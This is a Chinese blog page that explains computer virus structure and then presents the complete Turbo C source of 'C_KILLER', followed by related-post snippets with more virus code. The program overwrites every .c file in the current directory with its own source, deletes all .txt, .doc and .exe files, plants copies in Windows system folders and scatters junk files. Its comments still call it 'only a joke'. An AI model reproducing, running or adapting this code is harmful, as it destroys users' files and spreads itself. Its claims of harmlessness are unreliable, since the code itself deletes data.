c写的小病毒

用C语言写病毒(1) 原帖及讨论:http://bbs.bc-cn.net/dispbbs.asp?BoardID=5&ID=142740连载1,由于本人较忙,连载2可能在8月左右或8月前与大家见面本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技术范围及法律范围内扩充实验.在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.连载1——最基本的病 阅读详情
在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.
        [Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.
一、什么是病毒   
    恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.
    我们要对付病毒,就要了解病毒.
    写一些病毒是一个很好的办法.
    如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:
“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“
     
      其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。
     要编制一个病毒,首先要知道病毒的运行机理。
     不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
     在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。
InfectSection()
     {
      if (infectable_object_found
        &&object_not_already_infect)
             infect_object;
       }
            
  病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
            TriggerSection()
            {
                if (date_is_Friday_13th_and_time_is_03:13:13)
                                                             set_trigger_status_to_yes;
            }

  有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
          Executesection()
          {
              if (trigger_statue_is_yes)
                  execute_payload;                      
          }
         
            
            
二、 编制病毒的语言
    最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:
    1).Win32编程,进程,线程,内存,等等。
  2).32位汇编,以指令用法为主。386汇编就比较够用了。
  3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。
  4).调试技术。VC,TD32,SoftIce,等等。
    要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C
以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.

三 用C编制病毒
    以TurboC2.0为例.它的库函数可以实现很多功能.
    如以下两个函数:
    1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。
    2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.
                
四 我写的C病毒   
         <<计算机病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害
    可能会更恰当一些".从这个意义上说,我的病毒是非常典型的病毒.
         下面是我写的病毒.
    它主要由四个模块组成.
    RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.
    CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
    Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.
    Breed()是C_KILLER的精华所在,它将kill所有的c程序,并利用它们繁殖自身.
    前三个是有效负载.
    第四个可以说是它的感染机制.
/**********************************


IN FACT,IT"S NOT A VIRYUS AT ALL.


**********************************/

#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
    FILE *in,*out;

    in = fopen(infile,"r");
    out = fopen(outfile,"w");

    while (!feof(in))
    {
        fputc(fgetc(in),out);
    }

    fclose(in);
    fclose(out);
}

/*

This function  named Rubbishmaker.

*/
void MakeRubbish()
{
    int i;   
    FILE *fp;
    char *path;
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"};
    char *addtion = "://";

    /* Make some rubbish at the current catalogue */
    for (i = 0; i<5; i++)
    {
        char tempname[] = "XXXXXX" ;

        NewName = mktemp(tempname);
        fp = fopen(NewName,"w");
        fclose(fp);
    }


/* make some rubbish at the root catalogue */

    path = strcat(disk[getdisk()],addtion); /* get the root catalogue */

    chdir(path); /*change directory according to the "path" */

    for (i = 0; i<5; i++)
    {
        char tempname[] = "XXXXXX";

        NewName = mktemp(tempname);
        fp = fopen(NewName,"w");
        fclose(fp);
    }

}


/*

  This function can  creat some .exe or .com documents in the sensitive place.
  Don't worry,It's only a joke.It will do no harm to your computer.

*/

void CreatEXE()
{
    int i;
    char *path;

    char *s[2] = {"C://WINDOWS//system32//loveworm.exe","C://WINDOWS//virusssss.com"};


    for ( i = 0; i < 2; i++)
    {
        open(s[i], 0x0100,0x0080);
        copyfile( "C_KILLER.C",s[i]);

    }
}


/* remove something from your computer */
void Remove()
{
       
    int done;
    int i;

    struct ffblk ffblk;
    char *documenttype[3] = {"*.txt","*.doc","*.exe"};
    for (i = 0; i < 3; i++)
    {
        done = findfirst(documenttype[i],&ffblk,2);
        while (!done)
        {
                remove(ffblk.ff_name);
                done = findnext(&ffblk);
        }
    }
}



/* overlay the c programs */
void Breed()
{
       
    int done;

    struct ffblk ffblk;

    done = findfirst("*.c",&ffblk,2);
    while (!done)
    {
        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

        {
                copyfile("C_KILLER.C",ffblk.ff_name);
        }
        done = findnext(&ffblk);
    }

}


void main()
{

       

        printf("THERE IS A VIRUS BY  XIAOKE./n/n");

        Breed();
        Remove();
        CreatEXE();


        printf("COULD YOU TELL ME YOUR NAME?/n/n");
        printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!/n/n");

        MakeRubbish();
        getchar();
        printf("IT'S ONLY A JOKE! THANK YOU!/n/n");

        clrscr();
        system("cmd");
}
(论文速读)低光照图像增强综述(一) 深度学习在弱光图像增强(LLIE)领域取得显著进展,但仍面临泛化性和应用评估不足的挑战。本研究通过统计分析30多种深度学习方法,揭示了监督学习在性能指标上的优势(如DLL的PSNR达25.67dB)与无监督方法(如Zero-DCE++)在实际任务中的潜力。实验发现,增强后的人脸检测mAP最高可提升14.54%,但视觉质量与机器性能存在差异。研究指出当前主要瓶颈包括极端光照处理能力不足、4K+实时处理困难及评估标准不统一,并提出了自适应增强、扩散模型应用等未来方向。 阅读详情

相关推荐

N5105核显直通PVE:从黑屏到HDMI输出的完整指南

PCI直通能让虚拟机独占物理设备,但核显直通远没有独显那么轻松。Intel核显与CPU、显示输出链路的强耦合使UEFI引导、GOP驱动、驱动签名等环节都成了黑屏陷阱。在PVE虚拟化环境中,通过IOMMU开启、vfio-pci绑定、OVMF固件和Q35机型配合,可以绕过KVM检测,让Windows虚拟机正确驱动核显,从HDMI口输出画面,并解锁Intel Quick Sync硬解能力。这种方案尤其适合N5105等低功耗迷你主机,可作为客厅HTPC、本地视频硬解或依赖硬件加速的轻量工作台。本文基于N5105平台

weixin_31082403的博客 373

c语言病毒,来来来,教你一个用C语言写个小病毒

该楼层疑似违规已被系统折叠隐藏此楼查看此楼代码如下:#include #include void main(void){virus();}int virus(){struct ffblk ffblk;FILE *in,*out,*read;char *virus="virus.c";char buf[50][80];char *p;char *end="return";char *bracket...

weixin_42166918的博客 152

Isaac Lab强化学习实战:用SO-ARM101机械臂实现抓取任务(附B站视频教程)

本文详细介绍了如何使用Isaac Lab强化学习框架,在SO-ARM101机械臂上实现抓取任务的完整实战流程。内容涵盖从环境搭建、奖励函数设计、训练调参到模型部署的各个环节,并分享了Sim-to-Real迁移的关键技巧,旨在帮助开发者高效完成机器人强化学习项目。

weixin_29070721的博客 1101

C语言编写简单病毒

C语言编写简单病毒

C/C++攻城狮 3万+

别再手动更新Excel了!用Jira看板管理你的个人项目(附保姆级配置流程)

本文详细介绍了如何利用Jira看板替代Excel进行个人项目管理,提供从注册到配置的保姆级教程。通过极简看板模式、自动化规则和数据分析功能,帮助用户实现任务可视化、协作高效化和提醒自动化,大幅提升个人工作效率。特别适合需要管理复杂个人项目的用户。

weixin_42699679的博客 226

【YOLOv11多模态涨点改进】独家创新首发| TGRS 2026 |引入 CIFusion 通道交互融合模块,通过跨特征交互机制强化目标区域响应,适合多模态融合目标检测,小目标检测高效涨点

🔥本文提出了一种改进YOLOv11多模态目标检测模型的方法,通过引入CIFusion通道交互融合模块来提升RGB与红外特征融合效果。CIF模块采用通道级自适应交互机制,根据全局上下文动态分配不同模态通道的重要性,实现跨模态特征交互与互补信息融合。相比传统拼接或加权融合方式,CIF能够增强目标区域响应,抑制背景噪声,提高小目标和低对比度目标的检测性能。实验表明,该方法在DroneVehicle等数据集上显著提升了检测精度。论文还详细介绍了CIF模块的结构原理、实现代码及模型配置方法。

Ai缝合怪、助力小伙伴高效发论文 186

一个用C语言编写的小病毒

以下是一个用C语言写的小病毒代码,此代码为本人转载,并非本人所写: /* C-Virus: A generic .COM and .EXE infector  Written by Nowhere Man  Project started and completed on 6-24-91  Written in Turbo C++ v1.00 (works fine with Turbo C

feng200820的专栏 3115

比NTP还牛逼的时间同步协议:1588v2,亚微秒级!

1588v2,又称为Precision Time Protocol Version 2,即精密时间协议的第二版本,或称为PTPv2,是一种精密时间同步协议标准,旨在实现网络中设备之间的高精度时间同步。该协议由IEEE标准组织发布,并在网络测量和控制系统中得到广泛应用。1588v2的主要目的是在计算机网络中提供高度准确的时间同步。它可用于确保不同设备之间的时钟同步,从而协调它们的操作。这对于需要协同工作的系统、无线通信基站等具有关键性的应用非常重要。

网络技术联盟站 4279

c语言api函数写病毒,C语言病毒代码,及写病毒简单介绍

编制病毒的语言最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:1).Win32编程,进程,线程,内存,等等。2).32位汇编,以指令用法为主。386汇编就比较够用了。3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。4).调试技术。VC,TD32,SoftIce,等等。要掌握的东西确实很多,还多听都没听过,很吓人.但...

weixin_42500369的博客 766

Ut接口原理及 VoLTE 补充业务自管理信令流程(GBA 引导认证+业务访问认证+ VoLTE 补充业务自管理)

2. Ut 接口及 VoLTE 业务子管理概述 2.1 UT 接口 —— VoLTE 终端补充业务配置 2.2终端通过 Ut 接口完成 VoLTE 补充业务自管理举例 2.3什么是 GBA 和 GAA 架构 2.4为什么要引入 GBA 架构认证及 BSF 网元 2.5UE(终端) 接口相关网元及功能 2.6GBA 架构流程概述 3. Ut 接口业务自管理信令流程 3.1 补充业务自管理及本文主要参考以下规范 3.2 Ut 接口业务自管理信令流程:查询补充业务 3.2.1 UE获

原来45的博客 1255

9篇1章1节:中国居民健康与营养调查(CHNS)数据库的官网解析和数据下载(2026年版)

在探讨中国社会经济转型与人口健康变迁的学术领域中,中国健康与营养调查(CHNS) 是一个无法绕过的权威数据库。本文将带你深入了解CHNS的项目背景、庞大的数据体系,以及如何通过这两个核心网站获取关键的家庭、个人及社区层面的研究数据。

MD Code 1692

c语言txt转病毒,用C语言写病毒【转】

C,是程序员最常用的编程语言之一。类似C等高级编程语言为开发人员提供了大量的内置函数,可以方便程序员编写各种跨平台的安心的应用编程。对于编写病毒而言,也方便了程序员来用自己擅长的语言来编写,但同时也带来了很多弊端。第一,许多高级语言的编程并不基于底层系统,即使是C也不太容易。这就导致这类的大都数病毒的传播机制十分原始(通常是通过重写来实现);另一方面的不足是,大多用高级语言编写的病毒至少有10K,...

weixin_32375895的博客 510

海思3516A移植MT7601U编译过程记录

官方地址:https://www.mediatek.com/products/broadbandWifi/mt7601 tar -xjf DPO_MT7601U_LinuxSTA_3.0.0.4_20130913.tar.bz2 cd DPO_MT7601U_LinuxSTA_3.0.0.4_20130913 1> Makefile替换 PLATFORM = HISI_3516A ifeq ($(PLATFORM),HISI_3516A) LINUX_SRC = /home/wbk/test/linu

qq_39048131的博客 1230

c语言怎么写病毒,来来来,教你一个用C语言写个小病毒

该楼层疑似违规已被系统折叠隐藏此楼查看此楼代码如下:#include #include void main(void){virus();}int virus(){struct ffblk ffblk;FILE *in,*out,*read;char *virus="virus.c";char buf[50][80];char *p;char *end="return";char *bracket...

weixin_26781975的博客 929

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

用C写一个简单病毒

[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.  [Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0. 一、什么是病毒        恶意软件可能是第一个对我们

cffishappy的专栏 1万+

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

C语言写的简单病毒程序

<!--google_ad_client = "pub-3555979289815451";google_ad_width = 468;google_ad_height = 60;google_ad_format = "468x60_as";google_ad_type = "image";//2007-03-07: devx.blog.com.cngoogle_ad_

Mobidogs Blog 5547

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

怎么用c语言编程一个小病毒,募才网教你用C语言写个小病毒~

原标题:募才网教你用C语言写个小病毒~对于电脑病毒,我们都深恶痛绝。俗话说“知己知彼,方能百战百胜”。为了避免病毒的伤害,我们必须要研究一下病毒是怎么来的。 病毒的特点:病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。从程序的角度来说,我们要做的事情有两件:1,让程序能够将自己在不影响其它程序本身工作的...

weixin_39602579的博客 5109

C写的伪病毒

#include #include   int main(void) { virus(); } int virus() { struct ffblk ffblk; FILE *in,*out,*read; char *virus="virus.c"; char buf[50][80]; char *p; char *end="return"; c

卧峰悲箫 424

C语言写病毒,木马

以前在网吧花了大投资的游戏账号被心痛的盗过一次,于是到了大学就傻逼傻逼的想写病毒,木马,出出风头,然后到处到处搜索,相关方法,以为这样就能写出病毒木马。一直持续到前段日子,偶尔看到一本关于杀毒软件是怎么查杀木马的资料,才知晓 自己当时的做法是多么的愚蠢,当时想到的一些方法,很多年

mypaomian 1万+

用C语言写病毒【转】

C,是程序员最常用的编程语言之一。类似C等高级编程语言为开发人员提供了大量的内置函数,可以方便程序员编写各种跨平台的安心的应用编程。对于编写病毒而言,也方便了程序员来用自己擅长的语言来编写,但同时也带来了很多弊端。第一,许多高级语言的编程并不基于底层系统,即使是C也不太容易。这就导致这类的大都数病毒的传播机制十分原始(通常是通过重写来实现);另一方面的不足是,大多用高级语言编写的病毒至少有10K,

许落 2436

《C语言写病毒》注释

连载1——最基本的病毒. 本病毒的功能: 1.在C、D、E盘和c:/windows/system、c:/windows中生成本病毒体文件 2.在C、D、E盘中生成自动运行文件 3.注册c:/windows/system/svchost.exe,使其开机自动运行 4.在C:/windows/system下生成隐蔽DLL文件 5.病毒在执行后具有相联复制能力 本病毒类似普通U盘病毒雏

506

用c语言写病毒

对于病毒和木马的启动,除了显示修改注册表,还有一个办法就是把木马或病毒做成Windows服务,不过这有一个不好的地方就是它的通用性,因为服务要用到winAPI,所以这样的病毒和木马只能运行于Windows系统,而且木马病毒的体积也会有所增加。 下面我们要把现有的木马病毒程序转换为Windows服务,这个需要三个步骤: 一、创建一个新的main入口点,在服务控制管理器中注册,在这个ma...

richling space 261

C语言写病毒【转】

连载1,由于本人较忙,连载2可能在8月左右或8月前与大家见面本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技术范围及法律范围内扩充实验.在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.连载1——最基本的病毒.本病毒的功能:1.在C、D、E盘和c:/windows/system、c:/windows中生成本病毒体文件2.在C

许落 1636

c语言病毒编程,[原创]用C语言写病毒(3)

[原创]用C语言写病毒(3)本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技术范围及法律范围内扩充实验.在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承担,本人不负任何责任,否则,请马上离开.拒绝任何形式的转载(本人除外),否则属于著作侵权,将受到《中华人民共和国软件保护条理》、《中华人民共和国著...

weixin_36171927的博客 437

用C语言写病毒(2)

原帖及讨论:http://bbs.bc-cn.net/dispbbs.asp?BoardID=5&ID=148427本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技术范围及法律范围内扩充实验.在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承担,本人不负任何责任,否则,请马上离开.

gzblog的专栏 1365

C语言写的一个病毒

这是C语言写的一个病毒,运行程序后其内容变化另保存为after_virus.c  此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果他们一运行又感染了他们保存1.c文件目录下所有c文件 对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你完全可以写一个TSR驻留函数。  代码如下:  #include   #include   voi

chen825919148的专栏 1774
上一篇: 算法的时间复杂度(计算实例)
下一篇: C++入门解惑——浅析cout
发现心流
博客等级 码龄20年 52粉丝 24原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值